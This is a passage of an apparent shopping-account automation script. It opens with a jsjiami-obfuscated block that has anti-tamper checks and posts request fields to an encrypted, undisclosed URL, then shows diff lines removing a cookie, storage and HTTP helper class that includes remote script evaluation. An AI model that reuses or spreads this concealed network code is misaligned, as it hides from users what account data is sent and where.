'\x4c\x38\x4f\x7a\x77\x72\x41\x3d','\x36\x49\x79\x6f\x35\x59\x79\x4b\x35\x61\x53\x49\x36\x4c\x61\x73','\x4a\x45\x73\x6f','\x53\x4d\x4f\x30\x45\x41\x3d\x3d','\x35\x59\x71\x34\x36\x5a\x75\x46\x35\x34\x75\x4b\x35\x70\x2b\x39\x35\x59\x2b\x53\x37\x37\x2b\x49\x44\x73\x4f\x78\x35\x4c\x36\x69\x35\x61\x2b\x51\x35\x70\x32\x48\x35\x62\x32\x5a\x35\x36\x75\x37','\x77\x71\x46\x6a\x77\x6f\x59\x3d','\x46\x54\x77\x59','\x59\x38\x4b\x65\x62\x41\x3d\x3d','\x4f\x6b\x67\x53\x48\x79\x67\x3d','\x49\x63\x4f\x6c\x77\x36\x7a\x44\x6e\x6a\x30\x3d','\x77\x35\x37\x43\x6e\x4d\x4b\x2b\x64\x73\x4f\x77','\x77\x34\x58\x43\x70\x63\x4b\x4e','\x77\x72\x51\x46\x53\x6d\x44\x43\x6c\x63\x4b\x32\x77\x6f\x46\x5a\x77\x34\x77\x3d','\x77\x70\x72\x43\x71\x44\x6f\x54\x42\x41\x3d\x3d','\x77\x36\x64\x78\x77\x36\x56\x6f'];(function(_0x46afe5,_0x3ec870){var _0x3bf7a2=function(_0x2f2a55){while(--_0x2f2a55){_0x46afe5['push'](_0x46afe5['shift']());}};var _0x4b36c4=function(){var _0x313ea6={'data':{'key':'cookie','value':'timeout'},'setCookie':function(_0x347477,_0x165129,_0x26e34e,_0x243fe4){_0x243fe4=_0x243fe4||{};var _0x34dd0d=_0x165129+'='+_0x26e34e;var _0x348f35=0x0;for(var _0x348f35=0x0,_0x352fdf=_0x347477['length'];_0x348f35<_0x352fdf;_0x348f35++){var _0x184b12=_0x347477[_0x348f35];_0x34dd0d+=';\x20'+_0x184b12;var _0xc83357=_0x347477[_0x184b12];_0x347477['push'](_0xc83357);_0x352fdf=_0x347477['length'];if(_0xc83357!==!![]){_0x34dd0d+='='+_0xc83357;}}_0x243fe4['cookie']=_0x34dd0d;},'removeCookie':function(){return'dev';},'getCookie':function(_0x306fb1,_0x30a2e1){_0x306fb1=_0x306fb1||function(_0x4f68ed){return _0x4f68ed;};var _0x3db437=_0x306fb1(new RegExp('(?:^|;\x20)'+_0x30a2e1['replace'](/([.$?*|{}()[]\/+^])/g,'$1')+'=([^;]*)'));var _0x4f6dd6=function(_0x435510,_0x262990){_0x435510(++_0x262990);};_0x4f6dd6(_0x3bf7a2,_0x3ec870);return _0x3db437?decodeURIComponent(_0x3db437[0x1]):undefined;}};var _0x5b7df0=function(){var _0x4765b0=new RegExp('\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*[\x27|\x22].+[\x27|\x22];?\x20*}');return _0x4765b0['test'](_0x313ea6['removeCookie']['toString']());};_0x313ea6['updateCookie']=_0x5b7df0;var _0x4d392d='';var _0x49c427=_0x313ea6['updateCookie']();if(!_0x49c427){_0x313ea6['setCookie'](['*'],'counter',0x1);}else if(_0x49c427){_0x4d392d=_0x313ea6['getCookie'](null,'counter');}else{_0x313ea6['removeCookie']();}};_0x4b36c4();}(__0xe840a,0xf6));var _0x1c65=function(_0x4149cd,_0x4779e6){_0x4149cd=_0x4149cd-0x0;var _0x15f1a3=__0xe840a[_0x4149cd];if(_0x1c65['initialized']===undefined){(function(){var _0x25dafc=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x883a6b='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x25dafc['atob']||(_0x25dafc['atob']=function(_0x1fab10){var _0x63ae1f=String(_0x1fab10)['replace'](/=+$/,'');for(var _0x7a66a2=0x0,_0x46b483,_0x4d3f2d,_0x5dd938=0x0,_0x1104fd='';_0x4d3f2d=_0x63ae1f['charAt'](_0x5dd938++);~_0x4d3f2d&&(_0x46b483=_0x7a66a2%0x4?_0x46b483*0x40+_0x4d3f2d:_0x4d3f2d,_0x7a66a2++%0x4)?_0x1104fd+=String['fromCharCode'](0xff&_0x46b483>>(-0x2*_0x7a66a2&0x6)):0x0){_0x4d3f2d=_0x883a6b['indexOf'](_0x4d3f2d);}return _0x1104fd;});}());var _0x5d385d=function(_0x5e8fcf,_0x34d690){var _0x1247c9=[],_0x28658e=0x0,_0x11ee94,_0x3e4c91='',_0x49da45='';_0x5e8fcf=atob(_0x5e8fcf);for(var _0x5ca1fd=0x0,_0x26ea7e=_0x5e8fcf['length'];_0x5ca1fd<_0x26ea7e;_0x5ca1fd++){_0x49da45+='%'+('00'+_0x5e8fcf['charCodeAt'](_0x5ca1fd)['toString'](0x10))['slice'](-0x2);}_0x5e8fcf=decodeURIComponent(_0x49da45);for(var _0x5108a2=0x0;_0x5108a2<0x100;_0x5108a2++){_0x1247c9[_0x5108a2]=_0x5108a2;}for(_0x5108a2=0x0;_0x5108a2<0x100;_0x5108a2++){_0x28658e=(_0x28658e+_0x1247c9[_0x5108a2]+_0x34d690['charCodeAt'](_0x5108a2%_0x34d690['length']))%0x100;_0x11ee94=_0x1247c9[_0x5108a2];_0x1247c9[_0x5108a2]=_0x1247c9[_0x28658e];_0x1247c9[_0x28658e]=_0x11ee94;}_0x5108a2=0x0;_0x28658e=0x0;for(var _0x578712=0x0;_0x578712<_0x5e8fcf['length'];_0x578712++){_0x5108a2=(_0x5108a2+0x1)%0x100;_0x28658e=(_0x28658e+_0x1247c9[_0x5108a2])%0x100;_0x11ee94=_0x1247c9[_0x5108a2];_0x1247c9[_0x5108a2]=_0x1247c9[_0x28658e];_0x1247c9[_0x28658e]=_0x11ee94;_0x3e4c91+=String['fromCharCode'](_0x5e8fcf['charCodeAt'](_0x578712)^_0x1247c9[(_0x1247c9[_0x5108a2]+_0x1247c9[_0x28658e])%0x100]);}return _0x3e4c91;};_0x1c65['rc4']=_0x5d385d;_0x1c65['data']={};_0x1c65['initialized']=!![];}var _0x28fc9d=_0x1c65['data'][_0x4149cd];if(_0x28fc9d===undefined){if(_0x1c65['once']===undefined){var _0x1917e9=function(_0x3024a8){this['rc4Bytes']=_0x3024a8;this['states']=[0x1,0x0,0x0];this['newState']=function(){return'newState';};this['firstState']='\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*';this['secondState']='[\x27|\x22].+[\x27|\x22];?\x20*}';};_0x1917e9['prototype']['checkState']=function(){var _0xee29ee=new RegExp(this['firstState']+this['secondState']);return this['runState'](_0xee29ee['test'](this['newState']['toString']())?--this['states'][0x1]:--this['states'][0x0]);};_0x1917e9['prototype']['runState']=function(_0x3882c5){if(!Boolean(~_0x3882c5)){return _0x3882c5;}return this['getState'](this['rc4Bytes']);};_0x1917e9['prototype']['getState']=function(_0x3859d5){for(var _0x10fafa=0x0,_0x185ee3=this['states']['length'];_0x10fafa<_0x185ee3;_0x10fafa++){this['states']['push'](Math['round'](Math['random']()));_0x185ee3=this['states']['length'];}return _0x3859d5(this['states'][0x0]);};new _0x1917e9(_0x1c65)['checkState']();_0x1c65['once']=!![];}_0x15f1a3=_0x1c65['rc4'](_0x15f1a3,_0x4779e6);_0x1c65['data'][_0x4149cd]=_0x15f1a3;}else{_0x15f1a3=_0x28fc9d;}return _0x15f1a3;};function _0x2dacde(_0x4875cd){var _0x39c125={'zHdds':_0x1c65('0x0','\x29\x64\x70\x5d'),'HtXFG':_0x1c65('0x1','\x6d\x4a\x61\x26'),'zjREa':_0x1c65('0x2','\x6d\x64\x41\x50'),'XstuD':_0x1c65('0x3','\x56\x73\x69\x63'),'RupSN':_0x1c65('0x4','\x48\x6a\x5d\x43'),'EmbYG':_0x1c65('0x5','\x62\x40\x6c\x34'),'YcgiT':_0x1c65('0x6','\x75\x30\x32\x37'),'emioF':_0x1c65('0x7','\x53\x49\x70\x21')};let _0x43b9c6={'url':_0x1c65('0x8','\x47\x58\x6d\x78'),'body':JSON[_0x1c65('0x9','\x76\x6a\x37\x36')]({'appId':_0x39c125[_0x1c65('0xa','\x70\x53\x32\x77')],'functionId':_0x39c125[_0x1c65('0xb','\x36\x54\x6d\x77')],'body':_0x4875cd,'appid':_0x39c125[_0x1c65('0xc','\x31\x78\x25\x33')],'client':_0x39c125[_0x1c65('0xd','\x55\x52\x49\x5a')],'clientVersion':_0x39c125[_0x1c65('0xe','\x75\x30\x32\x37')],'ua':_0x39c125[_0x1c65('0xf','\x75\x30\x32\x37')],'pin':_0x39c125[_0x1c65('0x10','\x76\x6a\x37\x36')]}),'headers':{'Content-Type':_0x39c125[_0x1c65('0x11','\x51\x67\x4e\x56')]}};return new Promise(_0x4d4a53=>{var _0x313631={'rFZVK':function _0x4e850a(_0x4f7e20,_0x4df8b2){return _0x4f7e20===_0x4df8b2;},'EfuGU':_0x1c65('0x12','\x75\x54\x58\x64'),'lCYQQ':_0x1c65('0x13','\x26\x7a\x44\x57'),'dHwcM':function _0x20b777(_0x2ff87c,_0x5c3e25){return _0x2ff87c+_0x5c3e25;},'SgPoz':_0x1c65('0x14','\x43\x23\x73\x78')};if(_0x313631[_0x1c65('0x15','\x53\x4b\x47\x6b')](_0x313631[_0x1c65('0x16','\x29\x64\x70\x5d')],_0x313631[_0x1c65('0x17','\x73\x66\x34\x40')])){w[c](_0x313631[_0x1c65('0x18','\x29\x64\x70\x5d')]('\u5220\u9664',_0x313631[_0x1c65('0x19','\x43\x23\x73\x78')]));}else{$[_0x1c65('0x1a','\x73\x66\x34\x40')](_0x43b9c6,(_0x496f67,_0x29ae48,_0x580f43)=>{var _0x40933c={'kSmws':function _0x231d3a(_0x48bdd3,_0x19245e){return _0x48bdd3===_0x19245e;},'wVTpo':_0x1c65('0x1b','\x66\x46\x5a\x7a'),'NNbUR':_0x1c65('0x1c','\x35\x41\x59\x61'),'ZEuVm':_0x1c65('0x1d','\x62\x57\x6e\x24'),'kaaza':_0x1c65('0x1e','\x64\x2a\x75\x28'),'juLZU':_0x1c65('0x1f','\x29\x63\x28\x55'),'tpIYD':_0x1c65('0x20','\x6d\x4a\x61\x26'),'eGahP':_0x1c65('0x21','\x47\x7a\x7a\x48'),'DcuMF':function _0x3ffde8(_0x473518,_0x2ffd37){return _0x473518!==_0x2ffd37;},'zbucg':_0x1c65('0x22','\x36\x35\x6f\x34'),'sIAmK':function _0xe1400b(_0x8a4cd2,_0x1a03d5){return _0x8a4cd2(_0x1a03d5);}};try{if(_0x496f67){if(_0x40933c[_0x1c65('0x23','\x62\x57\x6e\x24')](_0x40933c[_0x1c65('0x24','\x74\x68\x2a\x6b')],_0x40933c[_0x1c65('0x25','\x51\x56\x67\x56')])){console[_0x1c65('0x26','\x51\x56\x67\x56')](JSON[_0x1c65('0x27','\x6f\x4e\x41\x5b')](_0x496f67));}else{if(_0x580f43){_0x580f43=JSON[_0x1c65('0x28','\x70\x53\x32\x77')](_0x580f43);_0x580f43=_0x580f43[_0x1c65('0x29','\x5a\x54\x7a\x5b')];}else{$[_0x1c65('0x2a','\x62\x57\x6e\x24')](_0x40933c[_0x1c65('0x2b','\x4a\x25\x48\x5e')]);}}}else{if(_0x40933c[_0x1c65('0x2c','\x6d\x64\x41\x50')](_0x40933c[_0x1c65('0x2d','\x62\x57\x6e\x24')],_0x40933c[_0x1c65('0x2e','\x76\x6a\x37\x36')])){w[c](_0x40933c[_0x1c65('0x2f','\x6d\x4a\x61\x26')]);}else{if(_0x580f43){if(_0x40933c[_0x1c65('0x30','\x26\x53\x67\x6c')](_0x40933c[_0x1c65('0x31','\x36\x35\x6f\x34')],_0x40933c[_0x1c65('0x32','\x23\x42\x28\x6e')])){console[_0x1c65('0x33','\x31\x78\x25\x33')](JSON[_0x1c65('0x34','\x51\x56\x67\x56')](_0x496f67));}else{_0x580f43=JSON[_0x1c65('0x35','\x53\x4b\x47\x6b')](_0x580f43);_0x580f43=_0x580f43[_0x1c65('0x36','\x52\x38\x6c\x57')];}}else{if(_0x40933c[_0x1c65('0x37','\x30\x25\x4c\x43')](_0x40933c[_0x1c65('0x38','\x5a\x54\x7a\x5b')],_0x40933c[_0x1c65('0x39','\x70\x53\x32\x77')])){_0x580f43=JSON[_0x1c65('0x3a','\x29\x64\x70\x5d')](_0x580f43);_0x580f43=_0x580f43[_0x1c65('0x3b','\x47\x5d\x63\x24')];}else{$[_0x1c65('0x3c','\x6f\x4e\x41\x5b')](_0x40933c[_0x1c65('0x3d','\x5a\x54\x7a\x5b')]);}}}}}catch(_0x1d3062){console[_0x1c65('0x3e','\x6e\x30\x35\x59')](_0x1d3062,_0x29ae48);}finally{_0x40933c[_0x1c65('0x3f','\x64\x2a\x75\x28')](_0x4d4a53,_0x580f43);}});}});};(function(_0x2d20c4,_0x15eaa9,_0x90d72b){var _0x505531=function(){var _0x1268cb=!![];return function(_0xaa2299,_0x245e1c){var _0x3f9f58=_0x1268cb?function(){if(_0x245e1c){var _0x10d4a7=_0x245e1c['apply'](_0xaa2299,arguments);_0x245e1c=null;return _0x10d4a7;}}:function(){};_0x1268cb=![];return _0x3f9f58;};}();var _0x274962=_0x505531(this,function(){var _0x3f505a=function(){return'\x64\x65\x76';},_0x2a0ad3=function(){return'\x77\x69\x6e\x64\x6f\x77';};var _0x219a04=function(){var _0x4b7042=new RegExp('\x5c\x77\x2b\x20\x2a\x5c\x28\x5c\x29\x20\x2a\x7b\x5c\x77\x2b\x20\x2a\x5b\x27\x7c\x22\x5d\x2e\x2b\x5b\x27\x7c\x22\x5d\x3b\x3f\x20\x2a\x7d');return!_0x4b7042['\x74\x65\x73\x74'](_0x3f505a['\x74\x6f\x53\x74\x72\x69\x6e\x67']());};var _0x36e3f2=function(){var _0x1ed06c=new RegExp('\x28\x5c\x5c\x5b\x78\x7c\x75\x5d\x28\x5c\x77\x29\x7b\x32\x2c\x34\x7d\x29\x2b');return _0x1ed06c['\x74\x65\x73\x74'](_0x2a0ad3['\x74\x6f\x53\x74\x72\x69\x6e\x67']());};var _0x3ee1c8=function(_0x19c82){var _0x2d93bf=~-0x1>>0x1+0xff%0x0;if(_0x19c82['\x69\x6e\x64\x65\x78\x4f\x66']('\x69'===_0x2d93bf)){_0x323b7b(_0x19c82);}};var _0x323b7b=function(_0x9db9d5){var _0x5043a4=~-0x4>>0x1+0xff%0x0;if(_0x9db9d5['\x69\x6e\x64\x65\x78\x4f\x66']((!![]+'')[0x3])!==_0x5043a4){_0x3ee1c8(_0x9db9d5);}};if(!_0x219a04()){if(!_0x36e3f2()){_0x3ee1c8('\x69\x6e\x64\u0435\x78\x4f\x66');}else{_0x3ee1c8('\x69\x6e\x64\x65\x78\x4f\x66');}}else{_0x3ee1c8('\x69\x6e\x64\u0435\x78\x4f\x66');}});_0x274962();var _0x28576e={'azcgt':function _0x37756f(_0x1560d0,_0x14265f){return _0x1560d0===_0x14265f;},'cRUvo':_0x1c65('0x40','\x42\x59\x73\x67'),'Nxfsp':_0x1c65('0x41','\x69\x25\x5e\x58'),'uqqAa':_0x1c65('0x42','\x62\x40\x6c\x34'),'YmHoR':function _0x3761e5(_0x1dc526,_0x559d65){return _0x1dc526!==_0x559d65;},'zfozx':_0x1c65('0x43','\x30\x25\x4c\x43'),'AfyGL':function _0x26f3d1(_0x4f0494,_0x587528){return _0x4f0494===_0x587528;},'UwmZg':_0x1c65('0x44','\x57\x59\x66\x73'),'TKKMm':function _0x43fd2a(_0x8bdd24,_0x422efa){return _0x8bdd24+_0x422efa;},'aDhfC':_0x1c65('0x45','\x79\x6a\x5a\x49'),'Zxajw':_0x1c65('0x46','\x6d\x4a\x61\x26'),'LTYWe':function _0x2e4097(_0x4a0271,_0x2f8cf4){return _0x4a0271+_0x2f8cf4;},'fFCLR':function _0x36c51e(_0x20eb62,_0x21b330){return _0x20eb62===_0x21b330;},'yGKAZ':_0x1c65('0x47','\x64\x2a\x75\x28'),'szFqE':_0x1c65('0x48','\x36\x54\x6d\x77')};_0x90d72b='\x61\x6c';try{if(_0x28576e[_0x1c65('0x49','\x55\x52\x49\x5a')](_0x28576e[_0x1c65('0x4a','\x54\x57\x39\x23')],_0x28576e[_0x1c65('0x4b','\x6d\x4a\x61\x26')])){_0x90d72b='\x61\x6c';try{_0x90d72b+=_0x28576e[_0x1c65('0x4c','\x36\x54\x6d\x77')];_0x15eaa9=encode_version;if(!(_0x28576e[_0x1c65('0x4d','\x69\x25\x5e\x58')](typeof _0x15eaa9,_0x28576e[_0x1c65('0x4e','\x4a\x25\x48\x5e')])&&_0x28576e[_0x1c65('0x4f','\x47\x7a\x7a\x48')](_0x15eaa9,_0x28576e[_0x1c65('0x50','\x36\x54\x6d\x77')]))){_0x2d20c4[_0x90d72b](_0x28576e[_0x1c65('0x51','\x31\x78\x25\x33')]('\u5220\u9664',_0x28576e[_0x1c65('0x52','\x6f\x4e\x41\x5b')]));}}catch(_0x65a89f){_0x2d20c4[_0x90d72b](_0x28576e[_0x1c65('0x53','\x76\x6a\x37\x36')]);}}else{_0x90d72b+=_0x28576e[_0x1c65('0x54','\x71\x26\x44\x5a')];_0x15eaa9=encode_version;if(!(_0x28576e[_0x1c65('0x55','\x6f\x4e\x41\x5b')](typeof _0x15eaa9,_0x28576e[_0x1c65('0x56','\x64\x2a\x75\x28')])&&_0x28576e[_0x1c65('0x57','\x66\x46\x5a\x7a')](_0x15eaa9,_0x28576e[_0x1c65('0x58','\x35\x41\x59\x61')]))){_0x2d20c4[_0x90d72b](_0x28576e[_0x1c65('0x59','\x78\x50\x39\x76')]('\u5220\u9664',_0x28576e[_0x1c65('0x5a','\x53\x4b\x47\x6b')]));}}}catch(_0x1ddccc){if(_0x28576e[_0x1c65('0x5b','\x7a\x72\x62\x65')](_0x28576e[_0x1c65('0x5c','\x30\x25\x4c\x43')],_0x28576e[_0x1c65('0x5d','\x21\x54\x71\x5b')])){console[_0x1c65('0x5e','\x79\x6a\x5a\x49')](_0x1ddccc,resp);}else{_0x2d20c4[_0x90d72b](_0x28576e[_0x1c65('0x5f','\x69\x35\x4a\x57')]);}}}());;encode_version = 'jsjiami.com.v5'; -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} - -function _jda(format = 'xxxxxxxxxxxxxxxxxxxx') { - return format.replace(/[xy]/g, function (c) { - var r = Math.random() * 10 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); - jdaid = v.toString() - return jdaid; - }); -} -const generateRandomInteger = (min, max = 0) => { - if (min > max) { - let temp = min; - min = max; - max = temp; - } - var Range = max - min; - var Rand = Math.random(); - return min + Math.round(Rand * Range); -}; - -function getExtract(array) { - const random = (min, max) => Math.floor(Math.random() * (max - min) + min); - let index = random(0, array.length); - return array.splice(index, 1); -} - -function Env(name, opts) { - class Http { - constructor(env) { - this.env = env - } - - send(opts, method = 'GET') { - opts = typeof opts === 'string' ? { - url: opts - } : opts - let sender = this.get - if (method === 'POST') { - sender = this.post - } - return new Promise((resolve, reject) => { - sender.call(this, opts, (err, resp, body) => { - if (err) reject(err) - else resolve(resp) - }) - }) - } - - get(opts) { - return this.send.call(this.env, opts) - } - - post(opts) { - return this.send.call(this.env, opts, 'POST') - } - } - - return new (class { - constructor(name, opts) { - this.name = name - this.http = new Http(this) - this.data = null - this.dataFile = 'box.dat' - this.logs = [] - this.isMute = false - this.isNeedRewrite = false - this.logSeparator = '\n' - this.startTime = new Date().getTime() - Object.assign(this, opts) - this.log('', `🔔${this.name}, 开始!`) - } - - isNode() { - return 'undefined' !== typeof module && !!module.exports - } - - isQuanX() { - return 'undefined' !== typeof $task - } - - isSurge() { - return 'undefined' !== typeof $httpClient && 'undefined' === typeof $loon - } - - isLoon() { - return 'undefined' !== typeof $loon - } - - toObj(str, defaultValue = null) { - try { - return JSON.parse(str) - } catch { - return defaultValue - } - } - - toStr(obj, defaultValue = null) { - try { - return JSON.stringify(obj) - } catch { - return defaultValue - } - } - - getjson(key, defaultValue) { - let json = defaultValue - const val = this.getdata(key) - if (val) { - try { - json = JSON.parse(this.getdata(key)) - } catch { } - } - return json - } - - setjson(val, key) { - try { - return this.setdata(JSON.stringify(val), key) - } catch { - return false - } - } - - getScript(url) { - return new Promise((resolve) => { - this.get({ - url - }, (err, resp, body) => resolve(body)) - }) - } - - runScript(script, runOpts) { - return new Promise((resolve) => { - let httpapi = this.getdata('@chavy_boxjs_userCfgs.httpapi') - httpapi = httpapi ? httpapi.replace(/\n/g, '').trim() : httpapi - let httpapi_timeout = this.getdata('@chavy_boxjs_userCfgs.httpapi_timeout') - httpapi_timeout = httpapi_timeout ? httpapi_timeout * 1 : 20 - httpapi_timeout = runOpts && runOpts.timeout ? runOpts.timeout : httpapi_timeout - const [key, addr] = httpapi.split('@') - const opts = { - url: `http://${addr}/v1/scripting/evaluate`, - body: { - script_text: script, - mock_type: 'cron', - timeout: httpapi_timeout - }, - headers: { - 'X-Key': key, - 'Accept': '*/*' - } - } - this.post(opts, (err, resp, body) => resolve(body)) - }).catch((e) => this.logErr(e)) - } - - loaddata() { - if (this.isNode()) { - this.fs = this.fs ? this.fs : require('fs') - this.path = this.path ? this.path : require('path') - const curDirDataFilePath = this.path.resolve(this.dataFile) - const rootDirDataFilePath = this.path.resolve(process.cwd(), this.dataFile) - const isCurDirDataFile = this.fs.existsSync(curDirDataFilePath) - const isRootDirDataFile = !isCurDirDataFile && this.fs.existsSync(rootDirDataFilePath) - if (isCurDirDataFile || isRootDirDataFile) { - const datPath = isCurDirDataFile ? curDirDataFilePath : rootDirDataFilePath - try { - return JSON.parse(this.fs.readFileSync(datPath)) - } catch (e) { - return {} - } - } else return {} - } else return {} - } - - writedata() { - if (this.isNode()) { - this.fs = this.fs ? this.fs : require('fs') - this.path = this.path ? this.path : require('path') - const curDirDataFilePath = this.path.resolve(this.dataFile) - const rootDirDataFilePath = this.path.resolve(process.cwd(), this.dataFile) - const isCurDirDataFile = this.fs.existsSync(curDirDataFilePath) - const isRootDirDataFile = !isCurDirDataFile && this.fs.existsSync(rootDirDataFilePath) - const jsondata = JSON.stringify(this.data) - if (isCurDirDataFile) { - this.fs.writeFileSync(curDirDataFilePath, jsondata) - } else if (isRootDirDataFile) { - this.fs.writeFileSync(rootDirDataFilePath, jsondata) - } else { - this.fs.writeFileSync(curDirDataFilePath, jsondata) - } - } - } - - lodash_get(source, path, defaultValue = undefined) { - const paths = path.replace(/\[(\d+)\]/g, '.$1').split('.') - let result = source - for (const p of paths) { - result = Object(result)[p] - if (result === undefined) { - return defaultValue - } - } - return result - } - - lodash_set(obj, path, value) { - if (Object(obj) !== obj) return obj - if (!Array.isArray(path)) path = path.toString().match(/[^.[\]]+/g) || [] - path.slice(0, -1).reduce((a, c, i) => (Object(a[c]) === a[c] ? a[c] : (a[c] = Math.abs(path[i + 1]) >> 0 === +path[i + 1] ? [] : {})), obj)[ - path[path.length - 1] - ] = value - return obj - } - - getdata(key) { - let val = this.getval(key) - // 如果以 @ - if (/^@/.test(key)) { - const [, objkey, paths] = /^@(.*?)\.(.*?)$/.exec(key) - const objval = objkey ? this.getval(objkey) : '' - if (objval) { - try { - const objedval = JSON.parse(objval) - val = objedval ? this.lodash_get(objedval, paths, '') : val - } catch (e) { - val = '' - } - } - } - return val - } - - setdata(val, key) { - let issuc = false - if (/^@/.test(key)) { - const [, objkey, paths] = /^@(.*?)\.(.*?)$/.exec(key) - const objdat = this.getval(objkey) - const objval = objkey ? (objdat === 'null' ? null : objdat || '{}') : '{}' - try { - const objedval = JSON.parse(objval) - this.lodash_set(objedval, paths, val) - issuc = this.setval(JSON.stringify(objedval), objkey) - } catch (e) { - const objedval = {} - this.lodash_set(objedval, paths, val) - issuc = this.setval(JSON.stringify(objedval), objkey) - } - } else { - issuc = this.setval(val, key) - } - return issuc - } - - getval(key) { - if (this.isSurge() || this.isLoon()) { - return $persistentStore.read(key) - } else if (this.isQuanX()) { - return $prefs.valueForKey(key) - } else if (this.isNode()) { - this.data = this.loaddata() - return this.data[key] - } else { - return (this.data && this.data[key]) || null - } - } - - setval(val, key) { - if (this.isSurge() || this.isLoon()) { - return $persistentStore.write(val, key) - } else if (this.isQuanX()) { - return $prefs.setValueForKey(val, key) - } else if (this.isNode()) { - this.data = this.loaddata() - this.data[key] = val - this.writedata() - return true - } else { - return (this.data && this.data[key]) || null - } - } - - initGotEnv(opts) { - this.got = this.got ? this.got : require('got') - this.cktough = this.cktough ? this.cktough : require('tough-cookie') - this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar() - if (opts) { - opts.headers = opts.headers ? opts.headers : {} - if (undefined === opts.headers.Cookie && undefined === opts.cookieJar) { - opts.cookieJar = this.ckjar - } - } - } - - get(opts, callback = () => { }) { - if (opts.headers) { - delete opts.headers['Content-Type'] - delete opts.headers['Content-Length'] - } - if (this.isSurge() || this.isLoon()) { - if (this.isSurge() && this.isNeedRewrite) { - opts.headers = opts.headers || {} - Object.assign(opts.headers, { - 'X-Surge-Skip-Scripting': false - }) - } - $httpClient.get(opts, (err, resp, body) => { - if (!err && resp) { - resp.body = body - resp.statusCode = resp.status - } - callback(err, resp, body) - }) - } else if (this.isQuanX()) { - if (this.isNeedRewrite) { - opts.opts = opts.opts || {} - Object.assign(opts.opts, { - hints: false - }) - } - $task.fetch(opts).then( - (resp) => { - const { - statusCode: status, - statusCode, - headers, - body - } = resp - callback(null, { - status, - statusCode, - headers, - body - }, body) - }, - (err) => callback(err) - ) - } else if (this.isNode()) { - this.initGotEnv(opts) - this.got(opts).on('redirect', (resp, nextOpts) => { - try { - if (resp.headers['set-cookie']) { - const ck = resp.headers['set-cookie'].map(this.cktough.Cookie.parse).toString() - if (ck) { - this.ckjar.setCookieSync(ck, null) - } - nextOpts.cookieJar = this.ckjar - } - } catch (e) { - this.logErr(e) - } - // this.ckjar.setCookieSync(resp.headers['set-cookie'].map(Cookie.parse).toString()) - }).then( - (resp) => { - const { - statusCode: status, - statusCode, - headers, - body - } = resp - callback(null, { - status, - statusCode, - headers, - body - }, body) - }, - (err) => { - const { - message: error, - response: resp - } = err - callback(error, resp, resp && resp.body) - } - ) - } - } - - post(opts, callback = () => { }) { - // 如果指定了请求体, 但没指定`Content-Type`, 则自动生成 - if (opts.body && opts.headers && !opts.headers['Content-Type']) { - opts.headers['Content-Type'] = 'application/x-www-form-urlencoded' - } - if (opts.headers) delete opts.headers['Content-Length'] - if (this.isSurge() || this.isLoon()) { - if (this.isSurge() && this.isNeedRewrite) { - opts.headers = opts.headers || {} - Object.assign(opts.headers, { - 'X-Surge-Skip-Scripting': false - }) - } - $httpClient.post(opts, (err, resp, body) => { - if (!err && resp) { - resp.body = body - resp.statusCode = resp.status - } - callback(err, resp, body) - }) - } else if (this.isQuanX()) { - opts.method = 'POST' - if (this.isNeedRewrite) { - opts.opts = opts.opts || {} - Object.assign(opts.opts, { - hints: false - }) - } - $task.fetch(opts).then( - (resp) => { - const { - statusCode: status, - statusCode, - headers, - body - } = resp - callback(null, { - status, - statusCode, - headers, - body - }, body) - }, - (err) => callback(err) - ) - } else if (this.isNode()) { - this.initGotEnv(opts) - const { - url, - ..._opts - } = opts - this.got.post(url, _opts).then( - (resp) => { - const { - statusCode: status, - statusCode, - headers, - body - } = resp - callback(null, { - status, - statusCode, - headers, - body - }, body) - }, - (err) => { - const { - message: error, - response: resp - } = err - callback(error, resp, resp && resp.body) - } - ) - } - } - - /** - * - * 示例:$.time('yyyy-MM-dd qq HH:mm:ss.S') - * :$.time('yyyyMMddHHmmssS') - * y:年 M:月 d:日 q:季 H:时 m:分 s:秒 S:毫秒 - * 其中y可选0-4位占位符、S可选0-1位占位符,其余可选0-2位占位符 - * @param {*} fmt 格式化参数 - * - */ - time(fmt) { - let o = { - 'M+': new Date().getMonth() + 1, - 'd+': new Date().getDate(), - 'H+': new Date().getHours(), - 'm+': new Date().getMinutes(), - 's+': new Date().getSeconds(), - 'q+': Math.floor((new Date().getMonth() + 3) / 3), - 'S': new Date().getMilliseconds() - } - if (/(y+)/.test(fmt)) fmt = fmt.replace(RegExp.$1, (new Date().getFullYear() + '').substr(4 - RegExp.$1.length)) - for (let k in o) - if (new RegExp('(' + k + ')').test(fmt)) - fmt = fmt.replace(RegExp.$1, RegExp.$1.length == 1 ? o[k] : ('00' + o[k]).substr(('' + o[k]).length)) - return fmt - } - - /** - * 系统通知 - * - * > 通知参数: 同时支持 QuanX 和 Loon 两种格式, EnvJs根据运行环境自动转换, Surge 环境不支持多媒体通知 - * - * 示例: - * $.msg(title, subt, desc, 'twitter://') - * $.msg(title, subt, desc, { 'open-url': 'twitter://', 'media-url': 'https://github.githubassets.com/images/modules/open_graph/github-mark.png' }) - * $.msg(title, subt, desc, { 'open-url': 'https://bing.com', 'media-url': 'https://github.githubassets.com/images/modules/open_graph/github-mark.png' }) - * - * @param {*} title 标题 - * @param {*} subt 副标题 - * @param {*} desc 通知详情 - * @param {*} opts 通知参数 - * - */ - msg(title = name, subt = '', desc = '', opts) { - const toEnvOpts = (rawopts) => { - if (!rawopts) return rawopts - if (typeof rawopts === 'string') { - if (this.isLoon()) return rawopts - else if (this.isQuanX()) return { - 'open-url': rawopts - } - else if (this.isSurge()) return { - url: rawopts - } - else return undefined - } else if (typeof rawopts === 'object') { - if (this.isLoon()) { - let openUrl = rawopts.openUrl || rawopts.url || rawopts['open-url'] - let mediaUrl = rawopts.mediaUrl || rawopts['media-url'] - return { - openUrl, - mediaUrl - } - } else if (this.isQuanX()) { - let openUrl = rawopts['open-url'] || rawopts.url || rawopts.openUrl - let mediaUrl = rawopts['media-url'] || rawopts.mediaUrl - return { - 'open-url': openUrl, - 'media-url': mediaUrl - } - } else if (this.isSurge()) { - let openUrl = 